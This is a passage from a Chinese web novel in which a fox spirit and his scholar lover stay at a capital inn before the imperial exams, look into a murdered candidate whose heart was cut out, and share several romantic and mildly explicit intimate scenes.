越靠近春闱齐青寄越察觉出自己的不足, 尤其是诗赋方面,他实在作不出什么真情实意感人肺腑的诗句,现在不就是为赋新词强说愁么?[1] 叼着根笔对着白纸看来看去死活写不出个所以然来, 他想来想去想不通自己有哪里可以发愁,不想浪费刚才磨好的墨干脆提笔开始画胡离净。 纸不大,他不算多么精通此道, 没法画的很精细,想了想重点画了双漂亮的眼睛, 衣服随意画了几笔又在旁边大大写了个红字用线连上,画完他满意极了, 觉得自己画的分外传神, 正拿起这张纸欣赏, 一直关着的门开了。 胡离净神情不算松快, 宽松的袖子垂下遮住整条手臂, 见齐青寄手里拿着的那张纸一怔, “偷偷画谁呢?”他故意问,“狐狸精?” “没有!”齐青寄赶紧为自己争辩, 举起纸力争清白,“除了你我还会画谁?” “噢——果然是狐狸精, 把书生迷的连书都不看了。” 齐青寄脸一僵,不敢再跟胡离净嬉皮笑脸赶紧坐回原处继续装模做样看书, 实则在胡离净路过时用余光偷偷看他,他看着不住赞叹胡离净走路时那袖子晃荡起来也比别人的袖子晃起来好看, 看着看着目光突然一凝,“你染红指甲了?” 胡离净不明所以抬起手去看,手抬到一半就被齐青寄拿了过去,他用手刮了刮指甲缝, “干掉的血,你伤到了?” “没有。”胡离净收回手擦干净又去检查这边的袖子,果不其然也有不小心沾到的血,“不是我的。” 血契有点耗精气神,他一时半会儿没有意识到沾着的血是别人的到底会让人想多少不该想的,看见齐青寄不看书瞪大眼,“?” “看书,不考了?” 胡离净有点倦怠的回床上躺着,很想露出尾巴惬意的甩,有一搭没一搭的打量齐青寄,他以为是血契那玩意儿搞的他现在不想吃饭,直到天有些黑还是毫无食欲。 “不是,这玩意儿这么厉害?”胡离净问996,“一点吃饭的念头都没有。” 【啊?】996也很懵,【这不关血契的事啊,你发情了。】 胡离净:“???” 他今天已经被一个霹雳加一个霹雳给霹晕了,现在听到这句话也只能无力的笑笑,“……什么玩意儿,我不是狐狸精么?” 【对呀,你应该庆幸你是狐狸精。】996说,【你要是狐狸现在应该在到处乱尿靠气味来吸引雌性了。】 胡离净:“……” 救命啊,好想死啊。 【我还以为你知道呢。】996沉吟,【你不觉得自己最近特别勤快到处溜达,我还以为你知道自己发情了溜达溜达释放精力呢。】 胡离净已经没有力气说话了。 996再次宽慰,【没事的,公狐狸发情食欲下降,精力增加,喜欢到处乱尿是正常的,三月就结束了,还有一个月,忍忍就过去了。】它眼珠子一转就开始出馊主意,【反正还有个半个来月他就考完了,你直接把他砰砰砰了呗,正好,金榜题名夜,洞房花烛时!】 【你让他爽爽算了,你也爽爽。】 “你就是个老鸨,以后别叫996了。” …… 眼看着时间差不多了,齐青寄把书一放招呼胡离净下去吃饭,胡离净才不认发情期那套,没胃口也得吃点,起来稍微收拾收拾也准备下去了。 两人把门一开,齐青寄在前面出门等他,胡离净习惯性往左右看了下,就看见左边一个店小二刚从房里出来,店小二好声好气关上门,店小二上来送菜的事常有,但他仔细瞟了眼,小二手上没拿托盘,不像上来送菜。 他手上动作迟疑了几秒,探出半个身子不动,小二立马注意到了这两人,赶紧摆手让人停下,“诶——两位贵客!千万别下去呀!” “怎么了?”胡离净放开门挡在两人中间,“底下发生什么了么?” 小二表情极其夸张,“哎呦!您是不知道,这不马上春闱了么,咱们客栈那是京城一顶一的好客栈,多少举人老爷都住在这儿啊,可是底下有个举人老爷让妖怪给掏了心了!” 齐青寄:“……什么?什么时候,姓什么?” 胡离净也正想问这被掏了心的倒霉鬼是谁,怀疑在剧情里本来就会被掏心的齐青奇会不会在所谓剧情的修正下被别的玩意儿给掏了。 “听说是姓李。”小二说,“也就几个时辰之前吧,还得等验尸才知道具体什么时候。” 胡离净再次皱起了眉,几个时辰前?他回来也待了好几个时辰,从没感知到这里边有什么妖怪。 齐青寄表情极其复杂,后退几步贴着窗站,一副不知所措的模样,“那、那要是被妖怪掏了心,这妖怪,会被抓吗?” “您放心!”小二恨不得拍胸脯保证,“京城不知有多少捉妖师,这被掏心的事往常可从未发生过,眼下是底下乱糟糟的才不好让各位贵客下去,您只管放心,这妖怪肯定能被立马捉回!” 齐青寄又缓缓瞪大眼睛了,“……立马?没有捉不到的?” “那当然!”小二开始胡天海底的吹嘘,“您是不知道京中镇妖司里压着多少穷凶极恶的妖怪,不管什么妖怪敢在京城作乱那真是不要命了!” 齐青寄不说话了,小二震惊的看着迷迷瞪瞪一脸梦游样子的齐青寄不知道自己说错了什么,只好干巴巴的问清楚两人要吃什么赶紧去提醒下一户去了。 没法下去胡离净原路返回,在房里看在外面还是一脸恍惚的齐青寄不由得皱眉,“你怎么了?担心你弟弟?”他没法跟齐青寄说有自己在哪个妖敢到老虎头上拔毛,只好含糊过去,“放心,掏不到你弟弟身上。” 谁料齐青寄更加恍惚了,迷迷瞪瞪走进来站在原地站了会儿大梦初醒,往胡离净身边一扑攥紧他的手,“咱们赶紧走吧!” 他说赶紧走就立马行动,说完这句话不等回应松开手就去收拾自己的书,收拾了几下干脆往那一扔,“不要了!随便带点东西就走。” 胡离净站在一旁冷眼看他收拾莫名有点不快,“……怕妖怪怕成这样?” “你没听到那店小二说捉妖师立马就能捉到吗?”齐青寄很着急,赶紧去床上翻找自己的银子。 “是啊,立马就能捉到。”胡离净更不快了,“立马就能捉到你都怕成这样,以后真见到妖怪怎么办?再说了,再过几天就要考春闱,你都到这儿不考了?” “我哪是怕妖怪啊!”齐青寄看起来更着急了,一副有苦说不出的样子,急的眉毛都快说话了,“不考了,三年以后还能考,再说吧,这不着急。” 胡离净现在有种亮出尾巴给他吓晕要么一尾巴抽晕他的冲动,一屁股坐在床上好半天没跟他说话徒留齐青寄一个人在地上着急的团团转,齐青寄都直接上来拽他了。 胡离净:“……现在关城门了出不去。” “咱们嗖的一下就出去了,快走啊!” “你是超人么,嗖的一下。” 齐青寄准确捕捉到了这个陌生词汇,“‘超人’?什么是‘超人’?” “会飞的,叫超人。”胡离净现在搭理他很勉为其难,其实压根不想跟他说话。 “那你是超人。” 胡离净:“……你读书读傻了去洗洗脸清醒清醒。”他说完干脆拒绝和齐青寄交流躺回床上,本来就一般的胃口现在更一般了,“一会儿我不吃了,你自己吃。” 齐青寄还在跳脚,嘴张张合合,“你、你是不是……今天……” 有什么话在他嘴里呼之欲出,他都想一闭眼说出来了,门突然被敲响了。 他只好先去开门,店小二端着托盘站在那没料到来开门的是这个刚才像是癔症的书生,他飞快打量了下神色才满脸笑的把托盘往前递了递,“您看是我进去放还是?” 齐青寄把托盘接过,“抓到妖了么?” “呃——”店小二凝滞了几秒,想起自己刚才拍着胸脯说的无数遍马上就抓到有点心虚,“还没有,不过您放心,肯定很快就能抓到!” “镇妖司来人了?” “来了。”小二说,“这不马上春闱,死的又是举人老爷,那肯定是大事啊。” 齐青寄:“……那现在在哪?” “已经走了。”小二补充,“是去抓妖了。” 齐青寄的心上下左右到处乱跳,听到小二说镇妖司的人已经走了还有点不可置信,“……走了?” 镇妖司那是护着整个京城的平安,小二替镇妖司辩解了句,“据说在外面发现了妖的踪迹,于是去外面抓妖了,妖不在咱们这儿,肯定是安全的,您放心!” 听到这话齐青寄心道莫不是自己想错了,可胡离净回来时手上衣服上的血不似作假,两件事发生了太过凑巧由不得他不多想,怪不得胡离净并不着急,原来这事并非他所为。 这么一想一直紧绷的那根弦算是放松了,一口气一直提着,他慢慢长出了口气整个人轻松下来,他就说么,胡离净怎么可能是这种人? 他想想又觉得好笑,自己差点把春闱放一边带胡离净跑走,这要是真做了可真是闹出笑话来了。 齐青寄松懈下来,把托盘放桌上心情大好的想去叫胡离净吃饭,刚走近一步就想起胡离净那句怕妖怪怕成这样登时又僵住了,说没法说咽也咽不下去,试探着再靠近几步就得了胡离净的冷脸。 他叫苦不迭又没法喊冤,只好占了床的一个边依偎着胡离净赌咒发誓: “我那根本不是怕妖怪!” “我发誓我喜欢你呀!不然就让雷把我给轰了!” 第37章 第三十七章 妖灾?人祸? “你怕不怕妖怪跟喜不喜欢我有什么关系。”胡离净故意往外一挤把本来就只占着一点位置的齐青寄给挤了下去, 随即坐起身,“不吃饭来这儿干嘛,吃完饭看你的书。” 齐青寄坐在地上不敢起来, 小心打量胡离净看不出高兴还是不高兴的脸,思考一会儿觉得看不出来高兴那绝对是不高兴了,鬼鬼祟祟从床边钻进胡离净袖子里摸他的手, “别生气了,等考完我带你回漳州, 这京城实在是太危险了,留不得留不得。” “你说回漳州就能回漳州?”胡离净说, “放榜在四月, 然后是殿试, 接下来才是留京和外派, 就算是外派谁知道会给你派到哪去, 更何况你不想当京官?” “你去吃吧。” 胡离净那点莫名其妙的不高兴现在也没有多少了, 也是呢,普通人一生或许都不会见到一个妖怪, 有几个真见到不害怕的。 客栈的饭菜简单,齐青寄吃饭很快, 边吃边打量胡离净的脸色,胡离净装没看见装不下去了, 有点烦的打算下去看看这个被掏心的书生死在哪。 一直注意他动作的齐青寄立马放下碗跟在他身后,“你要去哪?” “下去看看。”他猜到齐青寄肯定要拦他再说一堆莫名其妙的话, 提前扼住了他的话头,“什么都别说,自己待着别下来。” * 他不清楚那书生死在哪,到了楼下又拦住了那个上来送饭的店小二, “那书生在哪死的?” “啊?”店小二眼珠转了转,恍然大悟道,“您是说避开那个地方是吧?放心,是在后面大通铺那里。”他又看胡离净这一身衣裳和气度,“不过您想来也不知道大通铺是什么,总之就是从那里——”他指了指北面,“那边过去后院就是,咱们正常来回行走肯定不路过那。” 胡离净从钱袋里摸了块银子出来,“那书生尸体搬走了么?” 小二一脸为难,“这、这……” 胡离净会意,又摸了块大的出来。 小二用肩上的布擦了擦手又看了看左右无人这才小声开口,“您可千万别往外说,本来说要让仵作验尸,但那书生现在还在后面放着呢。” “那你刚才上来在门口说镇妖司去捉妖了?” 小二声音更低了,“这不是为了安大家的心么。镇妖司来了没多长时间又走了,这尸体就在那放着,他们也没说接下来这事由谁管,光放着也不是个事,这种天气放不了几天也就臭了,我们掌柜的也在问呢,不过您放心,到底是京城,咱们就安心住着,肯定不会出事的。” 胡离净笑了下,等那小二离开自己的视线才往后面大通铺走,店小二没说确切的位置他只好边走边看,后面每一间房门都关的严严实实,住在这里的书生们身上也没那么多银子去换地方住,只好关紧门当不知道。 感知到死物对他来说并不难,没一会儿他就确定了最里面的一个间不大不小的房,房门上面挂了把生锈的大锁,胡离净随意上手用力一捏,看似坚硬的东西顿时被一分为二。 ‘吱呀——’ 那具尸体盖着白布躺在房间正中央,白布上也沾着血迹,他上手掀开,对上一张满脸痛苦的青紫面孔,不难看出死前并不轻松,这李书生穿着深色衣服,胸口位置颜色尤其深,之前被人查看过衣带松着,轻轻一掀就露出了被破坏掉的里衣和有伤口的胸膛。 他不会分辨伤口是什么东西留下的,但身上没有妖兽气息,虽然也不排除是极为会隐藏气息的妖兽所杀,但大概率不是妖所为。 看完这些他重新把白布盖上打算回去,门口的锁就随便扔在一边,胡离净不太在意会不会有人根据这玩意儿怀疑到他头上来,没怀疑当然好,怀疑了正好用用李言普。 他研究了一会儿那扇木门怎么也没办法像之前一样严密闭合,暴力往外一拉让木门挤着才撒手转身准备离开这儿,刚一转身就听到了远远传来的极为谄媚的声音。 “诶——您请,就在前边不远处。”掌柜的弯着腰,从腰间摸出钥匙递给跟在一旁的店小二,“去,先把门打开。” 小二很响亮答应了声接过钥匙就往这边小跑着来了,跑到一半看见站在门口的胡离净缓缓瞪大了眼,连忙抬头去看上面那把消失的锁眼睛都快掉出来了,“不是、不是、您您您……” 他现在恨不得甩自己几个大嘴巴,狠狠骂自己贪那点银子干嘛,可谁又能料到居然有人往这死了人的晦气地方跑啊?! 掌柜的要是知道是他说出去的非得扒了他的皮不可! 小二一见胡离净张嘴只差跪下了,闭紧眼双手都挥出了残影也没拦住胡离净开口,一声你怎么在这儿差点让他原地去世。 “你又怎么在这儿?” 诶? 小二终于把紧闭的眼睛睁开了,来回一看原来胡离净正和那位镇妖司的大人说话。 “我住在这儿。”胡离净想了想,虽然他现在名义上是李言普的人,但跟这个带他的去阁老府的年轻人也只有一面之缘,甚至还不知道姓名,也不知道该怎么称呼。 年轻人点了点头,又看了下那间房往里走,掌柜的跟小二十分有眼色的往后退了退给两人让出一个空间,“是妖吗?” “不是。”胡离净让开门的位置让他进去,“人吧。” 刚才被盖上的白布被第二次掀开,年轻人粗略看了眼就把布扔回去,“是刀挖的。”他彻底下了定论却没有站起来而是问胡离净,“知道是谁挖的么?” 胡离净都打算走了,被这么一句问的又停住脚步了,“李阁老没告诉我还得帮查案啊?” “你不是会通灵吗?”年轻人显得十分疑惑。 “我现在该会吗?”胡离净反问。 “就差一条一点也不会么?” 胡离净没回答他,没回答就是答案,年轻人长叹一口气,“算了,移交给衙门,琐事不关镇妖司的事情。” 胡离净随口问,“这什么案子啊,你在镇妖司应该级别不低吧,让你来?” “马上春闱死了举人,不知道谁在皇帝那里多嘴。”他已经准备走了,“不然用不着我来。” 他莫名其妙笑了下,“你听说没听说过有的人长了颗七窍玲珑心,坊间说法说吃了这种心——”他指了指自己的脑子,“对这儿有好处,反正有阁老给你兜底,你要不也出去挖一颗给你家举人吃吃,没准能考个状元回来。” 胡离净皮笑肉不笑,“大可不必,不用吃也能考个状元回来。” …… 两人在客栈前院分开,掌柜的去送那位,又让店小二一路谄媚的把他送上楼,“我当时一看您就气度不凡,原来您认识镇妖司的大人啊。” “不认识。” 小二依旧满脸笑,连连诶了好几声以示自己知道了,又比了个封嘴的动作,“一会儿烧了热水我给您立马送上来!” 他没有出去多久,一开门齐青寄搬个凳子就坐在门口,见他回来把凳子和书往旁边一扔,“你回来啦?” “嗯。”胡离净回来就赶紧找地方坐下,一刻也不肯再站着了,“那个被挖了心的书生尸体还在后面,我刚才去看了看还碰到了镇妖司的人。” “啊??”齐青寄表情都变了,“又来了?没抓到妖怪?你、你没事吧?你怕不怕呀?” 胡离净看他几眼,“就个尸体有什么好怕的,你没见过么。”他把外衣脱掉放在一旁,“镇妖司那位大人说不是被妖怪掏的心,是被人用刀给硬生生挖出来的,所以现在不归镇妖司管,让衙门接手。” 齐青寄并不关心那个,“刚到京城一没钱二没仇谁会来杀个举人,估计是学问好被嫉妒了吧。”他拿过胡离净的衣服仔仔细细弄好不让它留下褶子,“所以镇妖司不会再来了吧?” “不会了。”胡离净拉了下他的袖子,“把书收拾了,一会儿小二上来送热水洗澡。” 齐青寄往外看了眼,发出了疑惑的声音,“不是先送那边么?你给银子打点了?” “以后都是先送咱们了。”胡离净把那个床边的烛台点燃去摸话本,语调轻飘飘的,“这心不是妖挖的,不用怕了。” “……”齐青寄一声不吭爬上床从后面把胡离净抱住,“我又不是怕妖怪,就算我怕妖怪又怎样,假如你要是妖怪我是不会怕的,喜欢你还来不及。” “……”胡离净轻轻用指甲蹭那薄薄的书页,圆润的指甲隐隐约约有化成尖锐的兽爪的迹象把书页划出一道道有毛边的痕迹,“真的啊?”他问,“我要是个虫子、□□、鸡鸭鹅……” 这话越说越离谱,齐青寄一闭眼抱紧不肯撒手,不管胡离净说出什么奇葩生物来就是咬死喜欢。 良药苦口利于病,忠言逆耳利于行,但人就是喜欢听好听的,胡离净心情也好了起来,对话本子没什么兴趣拿在手里跟没骨头似的晃,正巧小二拎着热水上来敲门,他就推了推死死抱住自己的齐青寄,“水来了,去洗澡吧。” 齐青寄敏锐的感知到胡离净心情的好转,连忙又说了一箩筐好听话,就连之前写在信里念不出口的孟浪话也说了一遍,把胡离净哄的熨帖极了,他见胡离净嘴角上扬有了点明显笑意凑上去,羞羞答答一头栽到胡离净肩膀上还是不肯下去。 胡离净心知肚明他想干什燕山停么,手落在他后颈上捏了捏示意他抬头,对着齐青寄期待的眼神一个轻轻的吻落在他的唇角,齐青寄尤觉不满足,这个姿势只好拽着胡离净肩膀往上追。 趴着不好动作的人被胡离净扶着颠了颠,很粗糙的亲了几下就再次扬起脖子躲开,“店小二外面等着呢。” 这么几下他没亲够,又不知道下次亲是什么时候,实在不肯现在就下来,用膝盖跪着往上挪了挪再次追上去,奈何两人身高实在有差别,胡离净脖子也比别人修长,明明觉得快要碰到就是亲不到,胡离净被缠的没办法,只好低头再亲了他一下再次抬起脑袋,齐青寄只被亲了一下勾的气的要死,泄愤一般直接低头咬在脖子上。 只是嘴唇刚挨蹭到的时候他就感觉出脖子的好来,皮肤紧致又滑,咬了几下他找到别的可亲的地方在脖子上亲来亲去,怕胡离净再躲两只手都抱住他的脖子生怕被撕开亲不到。 他自己越亲越热越亲越晕,等胡离净捂住他的嘴真不让继续亲的时候也没劲反抗了,“去开门。” 被捂着嘴他发出含糊的嗯嗯声,正打算从胡离净身上下来动作又是一顿,表情更羞羞答答的,“你洗不洗呀?” “别浪费水呀!” 第38章 第三十八章 抛开我的脸不谈………… 刚烧好热腾腾的水全倒进浴桶, 只是在房间里放了一会儿整个房间也好像潮湿了起来。 齐青寄拽着自己里衣领口站在那不肯脱也不肯进,一味眼巴巴的看胡离净,胡离净也不说话, 两人那么僵持一会儿齐青寄又过来凑近想亲,被胡离净抬手挡住,“洗澡去。” 齐青寄发出不满的声音, 撅起嘴亲了下胡离净的掌心,他亲胡离净就躲, 胡离净越躲他靠的越近,搞得胡离净的手背都贴上了自己的嘴巴, 两个人隔着他自己的手玩亲亲。 胡离净一只手捏住他下半张脸把他撅出二里地的嘴推开, “你先进去。” 他一听这话眼睛都亮了, 立马喜笑颜开脱袜子脱里衣进了浴桶, 被烫也顾不上了, 赶紧沿着桶边坐下拍拍水面示意胡离净也进来, 胡离净搬了个凳子往浴桶旁边一坐,“你看这玩意儿能装得下咱俩么?” 浴桶本来就是只供一个人使用的, 更别提挤两个大男人更是困难,理是这么个理, 齐青寄可不想放弃,声音特别小, “摞着。” 胡离净:“?” 胡离净先是一懵,又感到有点荒谬的好笑, 笑完脸又拉了下来,“谁摞谁啊?”他捏着齐青寄下巴晃了晃,“你怎么什么也说啊。” 齐青寄耳朵红的要命还是不肯放弃,抓住胡离净的手腕往自己怀里拽。 沾完水的皮肤滑的很, 胡离净若有若无摸了下一使劲把胳膊抽回来,挪着凳子到他身后往顺捋他的头发弄在桶外,“皂角呢?你洗你的。” 只有很清洁的味道的皂角慢慢在头发上打出沫,胡离净手上很滑,一只手把头发撩起去打量他那截脆弱的后颈,打量了一会儿伸手捏了捏,他本来没什么多余的意思,甚至在思考是不是一使劲就会断掉,但齐青寄明显会错了意,被捏了没几下就扭头亲了下胡离净沾了沫的手。 亲完嘴唇稍微一动就尝到了点皂角香,胡离净安静的看了会儿没再用沾了沫的手去碰他,稍微低了点头对方就迎上来亲,唇齿交接间他也尝到了皂角的味道,不苦,一点说不出的味道,很寡淡。 这一点皂角的沫很快就在唇齿间消失,刚才还抓在手里的头发现在被扔到一边,坐在凳子上高度不方便他就半跪在地上掐着齐青寄的后颈亲,能吮到的唇腔里的软肉触感奇妙,他咬着舔吻,本来还凑上来亲的人被热水蒸的喘不上来气发出‘唔唔’的声音往后躲,最后靠在木桶边缘上更方便了胡离净,半跪着的人直起身体追上去,齐青寄一直缩着脖子想躲,最后连脖子都埋进了水里。 在水里改变了姿势浮力让齐青寄坐不稳,他的手慌乱往桶底一撑也没能拦住身体浮起,后颈像是铁脖子似的使劲往桶沿一撑才稳住。 说是铁脖子可脖子到底不是铁打的,桶沿长时间使用虽然没有刺但一磕还是疼的慌,总算摆脱了那张要么不肯亲要么亲了就不肯松的嘴齐青寄张着嘴大口喘息,正想抱怨自己脖子磕的很疼一抬眼看见胡离净就什么话也说不出来了。 北方天气与漳州不同,他自从来了这儿脸上总是干燥的,而胡离净的脸尤甚,此刻被水汽蒸腾着脸比往常红了点,也有了点很润的说不出的光泽,绒毛打湿根根明显,眉毛也更黑,嘴唇亲完红红的肿肿的,看见这张脸他什么脾气也发不出来,于是稳住身体用湿漉漉的手再次摸了摸他的侧脸。 他这些反应自然没逃过胡离净的眼睛,那只落在侧脸的手被他按着亲了下掌心,胡离净很刻意的依偎着他的手凑近他,“你喜欢我哪啊?” 齐青寄正想夸夸而谈,胡离净就再次注视着他笑了下: “抛开脸不谈。” 这一下笑的胡离净头晕目眩,手顺理成章的在胡离净脸上摸来摸去,摸了会儿他的脑子才能转了,思考了半天胡离净的话,正打算夸夸而谈的齐青寄一下子就卡壳了,眨眨眼显得有些呆,他呆这几秒就看见刚才还朝他笑的胡离净脸色晴转多云,很不客气的把他的手扔进浴桶砸起水花,又把放在一边用过的皂角往桶里一扔,“自己洗!” “诶诶诶——!”齐青寄神情慌乱的站起来一把抓过搭在桶边的毛巾捂住重点部位站起来就想从桶里出来,愣是被胡离净一瞪眼一嗓子坐回去给吓回去了。 “说不出来?”胡离净像个大爷一样坐在那,“合着你这意思是我长得丑你就不喜欢我了,你只喜欢我的脸了?” “不不不!”齐青寄毫不犹豫的否认,“皮囊只是外在的事物,再好看的皮囊也会老去,我当然是喜欢你的心灵啊!你是我见过最特别的人!”他一句说的比一句重,生怕口气不到位又被胡离净误会了什么,再次竖起三根指头,“我发誓你是我见过最特别的人!” 你有尾巴。 这话齐青寄也就是在心里想想,瞪大眼睛继续看胡离净的反应,只见胡离净冷着的脸总算有点放松的迹象有点摸清楚胡离净喜欢这个调调继续夸,“我嘴笨说不出来,你跟那个,那首诗特别符合,就是那个‘而今识尽愁滋味,欲说还休。欲说还休,却道天好凉个秋!’” 胡离净紧绷的脸彻底松开了。 齐青寄再接再厉竖起大拇指,“你特别有深度,如果别人只知道看你觉得好看那是他们没眼光!” 胡离净高兴了。 齐青寄长出一口气一抹脑门,也不知道是热的还是吓的出了一脑门汗,现在无比感谢自己小时候看自己爹被娘揪着耳朵的时候是怎么哄的,就是哄胡离净实在艰难。 不过说到底还是胡离净爱伤春悲秋——呸,什么伤春悲秋,这叫细腻,他这样细腻的人实在适合写点酸诗。 刚才刚夸完胡离净有深度他现在也不敢缠着胡离净要亲要摸的,怕胡离净回过味儿来再翻脸说他不懂只知道看他的脸,没胡离净他一直在桶里待着也没意思,从桶里捞了半天皂角打算赶紧洗洗出来了,皂角在水里泡了一会儿化了不少,他勉强把滑的拿不住的东西从桶里捏出来,再一抬头就看见胡离净站在浴桶前。 齐青寄:“……?” 他可不敢邀请胡离净跟他一起泡,满脸正直的看了他一会儿就被再次捂上眼睛,失去视觉听觉变得格外灵敏,一点细微的声音都无限的被放大,一只手进入水中发出的声音让他心痒又害怕,直到那只手落在腹部一点点往下移,齐青寄便紧张的抓住了那只捂着自己眼睛的手腕。 被除自己以外的人触碰感觉十分奇特,饶是齐青寄觉得两个人已经极其熟悉还是被碰一下抖一下,直到察觉出胡离净因为自己的颤抖故意在腹部摸了又摸才深吸一口气压制着颤抖的下意识反应。 “嗤——” 温热的气流扑在脸上,带点可惜又带点哑的笑声传到齐青寄耳朵里,那只很吝啬一直在腹部流连的手得不到自己觉得有趣的反应终于再次往下。 齐青寄:“!” 齐青寄控制不住一抖夹紧了腿,赶紧放开捂住自己眼睛的这只手伸进了水里抓住另一只,不知是拒绝的意味多些还是让他继续的意味多些,颤抖的气息扑在胡离净那只手腕上,他每动一下气息就抖着颤。 手腕行动不便他用两根手指撑着让齐青寄放松,另一只手终于放开了一直被捂着的眼睛,齐青寄现在哪还有刚才一脸正直的样,被放开依旧连眼睛都不敢睁,可怜的缩着身体抓着胡离净的手腕,胡离净一点都不避讳的看他,他脸烫的实在受不住,慢慢把头抵在胳膊上往下滑。 “放开。”胡离净稍微动了下手腕,“手,还有腿,都放开。” 齐青寄现在羞愤欲死,埋着头装乌龟不肯对胡离净做出任何反应。 胡离净默不作声看了会儿再次尝试动动手腕,只觉得比之前还难以行动,伸手去掰齐青寄的脑袋即使他羞的快冒烟也卯足力气跟胡离净的手对抗不肯抬头。 胡离净实在是没招了,把身体放的更低的边掰他的脑袋边从齐青寄的耳朵、侧脸、下巴一路亲到嘴唇,他亲的不凶,更多的作用是安抚让他放开点,亲了好一会儿一直跟他抗衡的双腿终于缓缓泄了劲。 身下的人身体再次紧绷起来,声音全被咽在两人唇齿间,他整个人都在夸张的抖,胡离净亲着有点疑惑。 怎么反应这么大……?总不可能自己从没有过吧。 时间并没有多长,胡离净专注的亲吻着,胳膊上突然一痛,他垂眼一看,还算清澈的水面上冒上一团,齐青寄正掐着他的胳膊抖。 这反应又可怜又可爱,活像被欺负狠了。 胡离净正想再怜爱的亲亲他就猝不及防被湿透的身体扑了个满怀,脑袋死死埋在他肩膀上,齐青寄也不管身上的沫是不是会弄脏胡离净的衣服了,抓着不撒手,过了会儿闷闷的声音传来,胡离净听的不真切,疑惑的嗯了声,只见齐青寄像是刚出嫁的大姑娘羞羞答答扭扭捏捏。 “我是不是你第一个这样的啊?” 第39章 第三十九章 春闱 “不是。” 胡离净面无表情。 他说完这句刚才还羞涩的不行的齐青寄脸色就变了, “什么……?”他肉眼可见的颓靡,“可我、可我是第一次啊,我可是清清白白的好男儿!” 胡离净在水里洗手, 向齐青寄把他手里拿着的皂荚拿过来搓洗,直到洗完擦干净才很轻的扇了齐青寄的左手一下,“你第一次难道不是给了它?”他说完又轻轻扇了右手一下, “或者它。” 他扇完再次把沾上水珠的手擦干净,“我第一次这样是我自己。” 听他这么说齐青寄又高兴又不高兴的, “这样啊,我还以为、我还以为……” “你以为什么。” “我以为你之前有别人呢。”齐青寄小声说, “况且我又没有这样过!”他越说声音越大, 指着胡离净的手, “我就是给了它啊!” 两个人面面相窥, 面对胡离净的满脸不信齐青寄实在愤怒, 猛地从桶里站起来指着, “你看呀!你看它呀!我就是没用过!” “好好好!没有没有!坐下!要么起来穿上衣服!”胡离净十分震怖,没想到齐青寄居然会这么豪放, 他一个现代人都佩服的五体投地只好举起双手向他投降。 旗开得胜的齐青寄志得意满收拾好自己出来了。 …… 洗完澡的房子潮湿感越来越明显,本来晚上一直关着的窗现在也开着通风, 从床上能看见一点月亮的边,照的胡离净毫无睡意。 证明了自己清白的齐青寄像是斗胜的公鸡, 恨不得在胡离净耳边重复无数次他是多么多么干净多么多么忠贞不二的男儿,胜利两个字充斥了他的脑子让他也一时半会儿没法入睡, 他得意洋洋连那会儿的羞涩也全给忘了,躺了半天不知道自己又想了什么开始羞起来。 “夫人?夫人?”他试探着叫了几声确定胡离净也没睡顿时很大胆的缠在了他身上,羞答答的在胡离净身上拱来拱去,一会儿拿起胡离净的手亲一亲, 一会儿趴在胡离净身上亲亲他的脸亲亲他的嘴巴,再过一会儿干脆扒开胡离净里衣的领口亲亲他的脖子。 想早睡养生的胡离净被打扰的烦不胜烦,翻了个身用双腿夹住齐青寄不让他再乱动,伸手目标明确的往下伸,“不睡?” 齐青寄眼睛迸发出惊人的光亮,甚至让胡离净有种比他的眼睛还亮的错觉,动作扭扭捏捏恨不得把自己扭成麻花嘴上依旧豪放,“有这好事?” 胡离净:“……” 他只想多睡觉补充睡眠对自己好一点多活点时间。 往下伸的手立马拐了个方向挠他的腰,刚挠第一下被控制在怀里的身体就猛的一弹像是要飞出去一样大叫一声,“啊!” 胡离净眼疾手快腾出一只手捂住他的嘴,“别叫,别人还要睡觉呢。” 齐青寄的嘴被一只手捂着,两条胳膊被挤压在两人中间,双腿又被夹着无处可逃,只能被迫挠了一下又一下,他叫叫不出来,又哭又笑,眼泪都出来了。 挠了十几下胡离净终于大发慈悲的松开手,“睡不睡?” “睡睡睡!立马睡!”齐青寄热泪盈眶,第一次体会到对胡离净避之不及是什么感觉,几乎把整个人都贴在墙上,恨不得直接睡在隔壁。 虽然是因为怕痒才躲成这样,一直被缠着睡睡成习惯身边突然空落落特别不习惯,胡离净翻了个身一伸手想把人捞回来,刚摸上腰齐青寄就再次叫了一声,他叫到一半反应过来时间不合适又硬生生咽回去,赶紧捂了下腰又抬起手扭回头跟胡离净拜拜。 胡离净很轻的笑了下,揽住齐青寄腹部把人的中间先拖回怀里,齐青寄还是很警惕,两只手攥住胡离净的胳膊怕他一拐弯又去挠自己,整个人缩的像个虾子,胡离净不着急,改变了下睡姿跟他紧紧贴上才沿着侧颈往上亲,终于把人一点点亲回来。 齐青寄总是很主动,亲了很久嘴唇本来就肿起来,他现在咬着吸个不停,胡离净稍微睁开点眼看他,也回吻了几下,另一只搂在腰上的手不着痕迹往腰间挪,另一只手扣紧了后颈防止他一会儿逃跑。 那只罪恶的手在腰间摩挲了会儿终于伸手一挠,怀里的身体猛的一僵想跑却被扣着后颈跑不掉,闭着眼亲的很专注的齐青寄现在瞪大眼睛看笑的满脸不怀好意的胡离净,那双狐狸眼也笑的翘起来,他挠一下亲一下就是不让齐青寄跑,等他终于亲过瘾使坏也使过瘾放开齐青寄时对方整个人都不好了。 他双目无神的躺在床上,单薄的里衣被刚才闹出的一身汗浸透很不舒服也没空管,胡离净拎起他一条胳膊一放手就软绵绵没有一点骨头一样垂下来,推推脸也随便摆弄,推到什么方向就是什么方向都不带动一下。 “傻了?” 胡离净撑在他身上摸他的眼皮,“真傻了?” 齐青寄眨眨眼,“……我不跟你过了。” “噗——” * 春闱一共三场,每场三天,被褥吃食都需考生自备,考试场所其实很简陋,现在的天气地上还是很凉,多的是考生出来大病一场或是考到一半大病没法考半道被抬出来的。 等待检查的队伍排成了长龙,胡离净远远看了眼,前边有考生带着篮子放着吃食,面饼子都被掰开一块块查看。 胡离净只看了几眼就没什么兴趣继续看,伸手摸了下齐青寄的袖子没说什么,齐青寄也没说话,从袖子里伸出手反过来攥了攥,“没事。” 两人互相拉着等前面检查,人群移动不快有些嘈杂,前面突然乱起来,本来还好好排着队的人都探头探脑往前看又被旁边站着的士兵呵斥,“别动!好好站着!” “不不不!”那个举人跑出一段距离又被拦下彻底给检查士兵跪下了,“饶我一次绕我一次!” 那士兵毫不留情面拽着人的领子往起一提,“跟大人说出去吧!夹带小抄这是大罪!” 